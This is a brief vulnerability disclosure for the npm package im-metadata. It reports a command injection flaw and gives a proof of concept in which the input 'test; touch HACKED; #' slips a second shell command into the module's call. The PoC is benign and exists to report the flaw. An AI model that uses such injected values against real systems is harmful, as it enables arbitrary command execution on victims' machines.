Overview

This vulnerability allows to execute arbitrary commands remotely inside the victim's PC

The issue occurs because a user input is formatted inside a command that will be executed without any check.

Proof of Concept

1. Create the following PoC file:

// poc.js
var metadata = require("im-metadata");
metadata("test; touch HACKED; #", {}, function () {});

1. Check there aren't files called HACKED
2. Execute the following commands in another terminal:

npm i im-metadata # Install affected module
node poc.js #  Run the PoC

1. Recheck the files: now HACKED has been created :)